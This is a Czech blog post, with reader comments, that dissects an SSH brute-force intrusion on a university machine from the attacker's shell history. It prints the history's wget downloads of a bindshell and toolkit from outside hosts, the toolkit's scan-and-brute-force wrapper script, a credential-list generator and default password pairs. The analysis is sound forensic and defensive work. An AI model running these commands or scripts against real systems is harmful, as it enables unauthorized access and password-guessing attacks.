Portál AbcLinuxu, 20. května 2024 15:28

SSH útok z druhé strany

30.9.2008 14:55 | Přečteno: 4742× | Výběrový blog | poslední úprava: 30.9.2008 14:55

Slíbil jsem, že se podělím o informace, jak se útočí na SSH službu. Za získaný materiál vděčím správci jedné univerzitní sítě, kde se jeden studentův stroj s účtem David a stejným heslem stal na několik dní otrokem v rukou ďáblových.

Poznamenávám, že veškeré zde zveřejněné programy, návody a postupy jsou předmětem vědeckého zkoumání. (Tímto jsem, doufám, vyřešil autorská práva na zveřejnění.)

Méně chápavé nabádám: Nezkoušejte na svých nebo cizích strojích. Tento kód není hračka pro děti. Hrozí vdechnutí malých částí.

.bash_history

uname -a
passwd  
cd /var/tmp
mkdir " "
cd "
cd " "
wget geocities.com/te_amo_myhael/bimd.c
wget geocities.com/te_amo_myhael/bind.c
make bind
./bind
rm -rf *
wget gavana.uv.ro/slack.tgz
tar zxvf slack.tgz
cd slack/
ls -a
chmod +x *
ls -a
./a 147.251

Změna hesla

Po úspěšném přihlášení na napadený počítač se útočník nejprve podíval, kam se vůbec dostal, a po té změnil heslo:

uname -a
passwd

Pravděpodobně, kdyby se nejednalo o linux s x86 architekturou, asi by srazil paty a odešel, protože podstatná část jeho nástrojů jsou binárky. Zdá se, že myšlenka open source není mezi crackery zrovna oblíbená.

Měnit heslo mi přijde nebezpečné, protože tím se útočník může rychle prozradit, pokud je daný účet často používán.

Bindshell

Dále si útočník stáhnul bindshell:

cd /var/tmp
mkdir " "
cd "
cd " "
wget geocities.com/te_amo_myhael/bimd.c
wget geocities.com/te_amo_myhael/bind.c

Lze jej pochválit za výběr dočasného adresáře. Nejen že /var/tmp na rozdíl od /tmp není tak na ráně, ale rovněž název dočasného adresáře „ “ skýtá jistý stupeň utajení při strohém ls nebo ls -a (člověk snadno přehlédne neobvyklé odsazení nebo si jej splete se adresářem „.“. Taktéž pro začínající uživatele může být problém s takovým adresářem zacházet, protože obvykle mají problémy se správným uzávorkováním.

Rovněž si nelze nepovšimnout, že samotnou instalaci provádí skutečně člověk. Stroj totiž nedělá překlepy.

Tento bidnshell je jednoduchý céčkový program, jehož smyslem je spustit pirátský „telnet“ server, aby se útočník mohl nerušeně vracet i bez znalosti hesla. Nyní změna hesla působí opravdu amatérsky.

Ve skutečnosti program neimplementuje protokol telnet. Jedná se o velmi jednoduchý program, který poslouchá na TCP portu 4444, ve výpisu procesů se maskuje za program /usr/sbin/httpd, a po připojení klienta (např. netcat) vyrobí pseudoterminál, nastaví obsluhu signálů, pořeší změnu velikosti okna (útočník asi má rád maximalizovaný emulátor terminálu), spustí standardní interaktivní shell připojený na pty a následně pomocí služby select(2) předává data mezí TCP spojením a terminálem.

Za povšimnutí stojí komplikované zpracování signálů a práce s terminálem. To většina programátorů za celý život neuvidí, protože se obvykle v getty nebo sshd nerýpe.

Také je třeba upozornit, že bindshell je vybaven jednoduchým přihlašovacím mechanismem, který má za úkol zahnat konkurenci a odvrátit katastrofu způsobenou scanováním portů.

Útočník program přeloží (zde se uplatňuje stará poučka, že na UNIXu si člověk musí všechno zkompilovat, dokonce i virus), spustí a ze souborového systému vymaže:

make bind
./bind
rm -rf *

Je vidět, že se autor neobtěžuje s restartem stroje. Pravděpodobně se domnívá, že se Linux používá jen na serverech.

SSH útok

Nekalé rejdy pokračují stažením nástroje pro automatizované hádání hesel pro SSH službu:

wget gavana.uv.ro/slack.tgz
tar zxvf slack.tgz
cd slack/
ls -a

a spuštěním nástroje samotného:

chmod +x *
ls -a
./a 147.251

Jak je vidět, útočník si jako další cíl svého řádění vybral sít 147.251.0.0/16 (jinou univerzitu).

Otázka je, proč nezkusil znovu místní síť. Určitě by našel nějaké stroje za NATem nebo za firwallem. Situace ve vnitřní síti obvykle nebývá tak dobře sledována.

Tady končí záznam histore shellu. Doufejme, že útočník nenapáchal mnoho škody.

slack.tgz

Co všechno najdeme uvnitř tohoto báječného archivu?

slack $ ls -l
celkem 8488
-rwx------ 1 petr users     723 20. zář  2005 a
-rwxr-xr-x 1 petr users  846832 19. pro  2006 brute
-rw-r--r-- 1 petr users   22354  2. pro  2004 common
-rw------- 1 petr users  999424  7. dub  2005 core
-rwxr-xr-x 1 petr users     265 25. lis  2004 gen-pass.sh
-rw-r--r-- 1 petr users       0 19. pro  2006 mfu.txt
-rw------- 1 petr users 6014206 13. pro  2006 nohup.out
-rw-r--r-- 1 petr users    4378  2. bře  2006 pass_file
-rwxr-xr-x 1 petr users  172060 19. pro  2006 pico
-rw-r--r-- 1 petr users   84476 26. kvě  2005 pico.tgz
-rwxr-xr-x 1 petr users   25645 19. pro  2006 scan
-rwx------ 1 petr users  458068 18. pro  2006 ss
-rwx------ 1 petr users      79 13. pro  2006 x
slack $ file *
a:           Bourne-Again shell script text executable
brute:       ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), bad note name size 0xc0853046, statically linked, for GNU/Linux 2.0.0, stripped
common:      ASCII C++ program text
core:        ELF 32-bit LSB core file Intel 80386, version 1 (SYSV), SVR4-style, from './ssh-scan 80'
gen-pass.sh: Bourne-Again shell script text executable
mfu.txt:     empty
nohup.out:   ASCII text
pass_file:   ASCII Pascal program text, with CRLF line terminators
pico:        ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.0.0, stripped
pico.tgz:    gzip compressed data, from Unix, last modified: Tue Mar 19 02:03:03 2002
scan:        ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), bad note name size 0xfffff564, bad note name size 0xc1d089f4, bad note name size 0xb8000000, dynamically linked (uses shared libs), for GNU/Linux 2.2.5, not stripped
ss:          ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), bad note name size 0x8b570feb, bad note name size 0xffffffb8, bad note description size 0x83e58955, statically linked, for GNU/Linux 2.0.0, stripped
x:           ASCII text

./a

#!/bin/bash
if [ $# != 1 ]; then
        echo " usage: $0 <b class>"
        exit;
fi



echo "[+]##########################################[+]"
echo "[+]#######    SCANNER BY slackwave    #######[+]"
echo "[+]####### Scanner Privat Dedicat Mie #######[+]"
echo "[+]#######    Am Pornit Scannerul     #######[+]"
echo "[+]##########################################[+]"
./scan $1 22 

sleep 10
cat $1.pscan.22 |sort |uniq > mfu.txt
oopsnr2=`grep -c . mfu.txt`
echo "[+] Am gasit  $oopsnr2 ip's...sa vedem ce hackler esti"
echo "-------------------------------------------------------"
echo "[+]Am pornit exploit-ul..."
echo "[+]Ajteapta oleaca"
./brute 85
rm -rf $1.pscan.22 mfu.txt
echo "[+]Lasa tata...poate next time..."

Jak vidno, slackwave je Rumun jak poleno a podle jiných hlášek trochu i sprostý. Tolik psychologický profil pachatele.

Nejprve se proscanuje zadaná béčková podsíť na port 22, seznam nalezených strojů se uloží do souboru mfu.txt a uživateli se oznámí, kolik se jich našlo.

scan není stripnutý, tak se podíváme, co nám řekne:

slack $ strings scan
/lib/ld-linux.so.2
libc.so.6
putchar
stdout
connect
snprintf
perror
socket
fflush
fprintf
inet_addr
__deregister_frame_info
memset
inet_ntoa
time
sprintf
fclose
htons
__errno_location
exit
fopen
atoi
_IO_stdin_used
__libc_start_main
strlen
fcntl
__register_frame_info
__gmon_start__
GLIBC_2.1
GLIBC_2.0
PTRh0
Usage: %s <b-block> <port> [c-block]
%s.pscan.%s
%s.%s.pscan.%s
Invalid b-range.
# scanning: 
%s.%d.* (total: %d) (%.1f%% done)
Unable to allocate socket.
Unable to set O_NONBLOCK
%s.%d.%d
Invalid IP.
# pscan completed in %u seconds. (found %d ips)
Y@%s
Error: %s

Tento nástroj způsobuje typická dvojitá varování SSH démona Did not receive identification string from…, která předcházejí o několik hodin samotný útok.

./brute

Dále se volá ./brute 85. Ten je staticky linkový a samozřejmě stripnutý. Toto je srdce celého procesu.

Samotný výpis řetězců je velmi dlouhý. Prozrazuje, že obsahuje ssh klienta (SSH-2.0-libssh-0.1) a OpenSSL (OpenSSL 0.9.7b 10 Apr 2003), což nám umožňuje přibližnou dataci vzniku této binárky.

Pasáž odpovídající samotnému výkonnému kódu je:

uname  -r -s
none
DUP 
vuln.txt
%s%s:%s:%s
%sL-amPrins... !! ->%s:%s:%s
Nu-ti Arat ->%s:%s:%s
%s <cate pizde sa incerc...>
mfu.txt
Unde-i mfu.txt
Toata 
[31mdragostea
[0m mea pentru 
[32mdiavola
[0m!!!!!!
pass_file
Unde-i pass_file

Zde je vidět, že používá náš startý známý seznam adres mfu.txt a také soubor pass_file. Soubor vuln.txt pravděpodobně bude naplněn seznamem prolomených účtů.

pass_file

slack $ head pass_file 
webmaster webmaster
admin admin
root root
webadmin webadmin
ftp ftp
ftpuser ftpuser
testuser testuser
testuser testpass
test test
guestuser guestuser

pass_file je tedy seznam účtů a jejich hesel, které se mají zkoušet.

Tento soubor je možné vygenerovat nástrojem gen-pass.sh:

#!/bin/bash



users=$1;
pass=$2;

if [ ! -f "$users" -o ! -f "$pass" ] ; then 
				echo "File not found";
				exit;
fi

rm -f pass_file
for m_user in $(cat $users) ; do 
				for m_pass in $(cat $pass) ; do 
								echo "$m_user $m_pass" >>pass_file
				done
done

Nicméně tail pass_file ukazuje, že v něm nejsou všechny variace účtů a hesel. Asi je rychlejší zkoušet jen stejná jména a hesla.

Abecední seznam přihlašovacích jmen je v souboru common. A obsahuje i tehdy účinné jméno David.

Ostatní soubory z archivu

Soubor nohup.out obsahuje výstup z programu ss, což není ten ss z balíku iproute, ale jakýsi scanner sledující provoz na daném rozhraní pomocí zalinkované knihovny libpcap:

slack $ head ./nohup.out 
scanning network 66.*.*.*
usec: 1000, burst packets 50
using inteface eth0
using "(tcp[tcpflags]=0x12) and (src port 22) and (dst port 46433)" as pcap filter
my detected ip on eth0 is 218.238.188.108
66.0.0.17
66.0.0.49
66.0.0.225
66.0.1.30
66.0.1.114

Pravděpodobně provokuje vzdálené stroje pakety odselanými přes raw socket (tcpflags=0x12=PSH|RST), takže útočící stroj není zatížen mnoha otevřenými spojeními. Tomu by odpovídalo i doporučení ohledně časování:

usage: %s <port> [-a <a class> | -b <b class>] [-i <interface] [-s <speed>]
speed 10 -> as fast as possible, 1 -> it will take bloody ages (about 50 syns/s)

Ostatně skript x:

./ss 22 -a  $1 -i eth0 -s 8
cat bios.txt |sort | uniq > mfu.txt
rm -f bios.txt

dokazuje, že ss je dokonalejší náhrada programu scan.

Soubor core je uložený obraz paměti po pádu programu ./ssh-scan 80.

pico a pico.tgz je stenojmenný textový editor. Autor balíku asi neovládá vi nebo má nepěkné vzpomínky na ten druhý editor (GNU).

Odkazy

       

Hodnocení: 100 %

        špatnédobré        

Tiskni Sdílej: Linkuj Jaggni to Vybrali.sme.sk Google Del.icio.us Facebook

Komentáře

Nástroje: Začni sledovat (3) ?Zašle upozornění na váš email při vložení nového komentáře. , Tisk

Vložit další komentář

Shadow avatar 30.9.2008 15:14 Shadow | skóre: 25 | blog: Brainstorm
Rozbalit Rozbalit vše Re: SSH útok z druhé strany
Odpovědět | Sbalit | Link | Blokovat | Admin
Dobře zpracovaný článek, díky za něj.
If we do not believe in freedom of speech for those we despise we do not believe in it at all.
Nicky726 avatar 30.9.2008 15:37 Nicky726 | skóre: 56 | blog: Nicky726
Rozbalit Rozbalit vše Re: SSH útok z druhé strany
+1
Enjoy the detours. There you’ll find the things more important than what you want. (Hunter x Hunter)
30.9.2008 15:49 JZ | skóre: 18 | blog: tucnakovo_putovani
Rozbalit Rozbalit vše Re: SSH útok z druhé strany
+1
There can be no success without sacrifice!
Limoto avatar 30.9.2008 15:56 Limoto | skóre: 32 | blog: Limotův blog
Rozbalit Rozbalit vše Re: SSH útok z druhé strany
+1
30.9.2008 18:54 Veritas | skóre: 13 | blog: veritas
Rozbalit Rozbalit vše Re: SSH útok z druhé strany
+1
Nehledej hry v Linuxu. Linux je hra!
30.9.2008 16:06 CEST
Rozbalit Rozbalit vše Re: SSH útok z druhé strany
Odpovědět | Sbalit | Link | Blokovat | Admin
Tak mam dojem, ze jsem chytil presne stejnej typ zelenace.

Osobne mi to pripada, ze tihle deticky nekde nasly navody, jak zkouset hesla, a jak potom dal nahodit daemony a nic jinyho neumi.

Osobne jsem videl, jak se hacker proces maskoval za winbindd. Bylo mi podezrely, ze bezi dva uple zvlast (jeden nebyl podproces druhyho) a navic visel na podivnym portu. Pak uz to slo rychle. Tusim jsem nasel, ze bezi pod uzivatelem, kterej mel heslo "1234" (opravdu chytry). Nasledne jsem z historie vystopoval i ten mezernikovej adresar - ono jich tam bylo myslim vic, jeden se jmenoval ". " (tecka a mezernik). Protoze po sobe nechaval utocnik stopu v .bash_history, tak usuzuju, ze to byl opravdu lammer, protoze i pro hackera zacatecnika musi byt unset HISTFILE a rm .bash_history uplna trivka.

Dale jsem se trosku jeste podival na obsah tech baliku ve skrytych adresarich ve /var/tmp a zjistil jsem, ze tam je nejakej IRC klient s botem a nasel jsem i skript, kterej spusti toho klienta a bota a pripoji se na nejaky IRC servery (nazev serveru obsahuje samozrejme underground:)).

Pak jsem jeste nasel, ze kteryho ftp serveru stahnul ty prvni baliky, tak jsem si odtud taky neco postahoval a pak jsem varoval spravce ftp serveru (prisla odpoved, ze to opravi).

V tech postahovanych balicich jsem taky nasel seznam [server,user,password] a opravdu fungovaly, nektere ale uz ne.

Pak me to prestalo bavit, ale rikal jsem si, ze by byla docela sranda se dostat do ty IRC site a pak tech detickam udelat trosku zmatku:) Napr. ze by zadaly "attack SERVER" a clovek by jim odpovedel "go to sleep, kid":) To by me zajimalo, co by asi delaly:) Mozna az bude cas, tak na to jeste kouknu.
30.9.2008 16:34 Zdenek
Rozbalit Rozbalit vše Re: SSH útok z druhé strany
Odpovědět | Sbalit | Link | Blokovat | Admin
Typicky rumunsky kiddik. V .ro je to snad narodni sport. Jednu dobu jsem provozoval honneypot a 95% kiddies bylo prave odtamtud. Navic jsou absolutne pitomi a i obycejny noexec na /tmp ci /home je vyvede z miry :-)
30.9.2008 17:26 Kvakor
Rozbalit Rozbalit vše Re: SSH útok z druhé strany
Jeste drsnejsi je mit vsechno mimo /var, /etc a /tmp nejen readonly "namountovanim", ale readonly uplne natvrdo (treba pres cramfs nebo squashfs). Je to vyhodne obzlast pro relativne pomala (proti diskum) FLASH media typu CF karta, USB flashdisk nebo interni FLASH pamet primo na desce. Sice upgrade je trochu slozitejsi (musi se vygenerovat novy image, cely nahrat a pak restartovat), ale da se delat i online - viz rozlicne routery a podopne krabicky bezici pod Linuxem to presne takto delaji.

Dostat se do neceho takoveho sice je sice mozne (nar. pres slaba hesla nebo nezabecpecene diry v sw), ale udrzet se tam nebo dokonce tam nechat vlastni zadni vratka je velmi obtizne.
30.9.2008 17:38 pc2005 | skóre: 38 | blog: GardenOfEdenConfiguration | liberec
Rozbalit Rozbalit vše Re: SSH útok z druhé strany
Odpovědět | Sbalit | Link | Blokovat | Admin
Skvělý blogpost toho, co se skrývá za ssh útoky.
Intel meltdown a = arr[x[0]&1]; karma | 帮帮我,我被锁在中国房
30.9.2008 17:41 Michal Kubeček | skóre: 72 | Luštěnice
Rozbalit Rozbalit vše Re: SSH útok z druhé strany
Odpovědět | Sbalit | Link | Blokovat | Admin
Všechno bych chápal, ale ten core dump, to je na mne trochu moc…
Joseph avatar 30.9.2008 17:56 Joseph | skóre: 7 | blog: No_bullshiting_please | Ba'aretz
Rozbalit Rozbalit vše Re: SSH útok z druhé strany
Odpovědět | Sbalit | Link | Blokovat | Admin
povedal by som ze ten scenar bol skoro tradicny: uhadnem heslo, mam pouzivatela. pozriem verziu kernelu

2.4 = skusim ptrace

2.5 = skusim vmsplice

hura vyrootoval som to som superduper ultra skilla. idem sa pochvalit.

Dalsie nepoznam, nie je to napisane v tom manuale ktory som stiahol z uberBlackDownUnderground servera.

To ze sa nepozrel do vnutornej siete kde sa skryvaju casto lepsie (a menej zabezpecene) stroje je tiez znakom niecoho.

Potom si vymienaju deti stroje ako keby hrali quake len davaju tie stroje namiesto fragov (alebo ako sa to vola).
אם אין אני לי, מי לי; וכשאני לעצמי, מה אני; ואם לא עכשיו, אימתי.(פרקי אבות, פרק א, משנה יד
progdan avatar 30.9.2008 19:24 progdan | skóre: 34 | blog: Archař | Teplice/Brno
Rozbalit Rozbalit vše Re: SSH útok z druhé strany
Odpovědět | Sbalit | Link | Blokovat | Admin
Nedavno se mi na serveru prihodila podobna vec. Docasne jsem tam vytvoril ucet ftpguest bez hesla (aby mi kamarad mohl neco nahrat) a pak jsem jej zapomnel odstranit...no to bych nebyl ja kdybych nemel takovou smulu a nenasel si me nejakej bot a nevyzkousel ucet ftpguest bez hesla...podle logu se mi tam prihlasili tri, z toho jeden tam byl o neco dyl, do /var/tmp nahral jakesi programy (vcetne podvrhu crond apod.) - to uz asi nebyl bot ale utocnik samotny (podle IP z Rumunska :-) ) a vyuzival muj server pravdepodobne k podobnym utokum, jakym se dostal ke me...nastesti mi byl podezrely extemne pomaly net, takze jsem na to do 24 hodin prisel, smazal a zastavil...dikybohu nemam program sendmail, takze k utocnikovi se nic nedostalo....jedinej vysledek byl, ze mi UPC zablokovalo asi 5 odchozich portu (udajne spamovani), ale to uz je vyresene.
A z toho vyplyva ponauceni: nebudte blbi a nastavuje hesla :)
Collecting data is only the first step toward wisdom, but sharing data is the first step toward the community.
Michal Fecko avatar 30.9.2008 19:48 Michal Fecko | skóre: 31 | blog: Poznámkový blog
Rozbalit Rozbalit vše Re: SSH útok z druhé strany
Odpovědět | Sbalit | Link | Blokovat | Admin
A co tak prevadzkovat server bez SSH? :-D To je napad, co?
30.9.2008 20:02 tired joe | skóre: 17 | blog: rootlet | Trenčín/Bratislava
Rozbalit Rozbalit vše Re: SSH útok z druhé strany
Odpovědět | Sbalit | Link | Blokovat | Admin
No tě péro, hotové Kukaččí vejce :)
Človek sa riadi zdravým rozumom, až keď už nezostáva žiadne iné riešenie.
30.9.2008 20:54 pc2005 | skóre: 38 | blog: GardenOfEdenConfiguration | liberec
Rozbalit Rozbalit vše Re: SSH útok z druhé strany
Taky jsem si říkal, teď jen nepřátelský špión a emulace rušení zkratováním vedení :-D.
rincewind avatar 30.9.2008 20:03 rincewind | skóre: 14 | blog: Bloguji,_tedy_jsem? | Hermanova Hut
Rozbalit Rozbalit vše Re: SSH útok z druhé strany
Odpovědět | Sbalit | Link | Blokovat | Admin
Nevite nahodou nekdo, jaky program vyrabi uzivatele pub s heslem pub? Pouzivam Debian Etch pouze s oficialnimi repozitari. A jednou koukam v prihlaseni uzivatel pub, na ktereho se nekdo prihlasil z Thajska a pak jsem zjistil, ze ho neco vyrobilo a jsem si jist, ze ja to nebyl, nepouzivam FTP a na sambe jsou vytvoreni uzivatele s hesly. Ps. Dnes jsem presel na zabezpeceni typu OpenVPN + SSH s klici, hold doba si to zada :(
1.10.2008 06:33 pht | skóre: 48 | blog: pht
Rozbalit Rozbalit vše Re: SSH útok z druhé strany
Odpovědět | Sbalit | Link | Blokovat | Admin
ty deti sou cim dal blbejsi. kdyz se podivam na svou sbirku rootkitu z pred spousty let, tak se to neda srovnat. s tou byste mel rozhodne vetsi fusku.

navic me prekvapuje jak moc muze byt uspesny prosty utok hadanim hesla. kdyby meli aspon nejakej ultra sekret buffer overfl0w, ale my sme rekli ne.

samozrejme ze se s tim pak ukazujou na irc, kde jinde. dalsi prekvapeni ze si ani nenainstaluje nejakej botnet.
In Ada the typical infinite loop would normally be terminated by detonation.
Joseph avatar 1.10.2008 12:25 Joseph | skóre: 7 | blog: No_bullshiting_please | Ba'aretz
Rozbalit Rozbalit vše Re: SSH útok z druhé strany
s tym botnetom mi to tiez napadlo ze preco to nezapojil do niecoho. ale podla vsetkeho preto ze nevie ako na to lebo to nie napisane v nejakom "manuale h4x0rra".
אם אין אני לי, מי לי; וכשאני לעצמי, מה אני; ואם לא עכשיו, אימתי.(פרקי אבות, פרק א, משנה יד

Založit nové vláknoNahoru

ISSN 1214-1267, (c) 1999-2007 Stickfish s.r.o.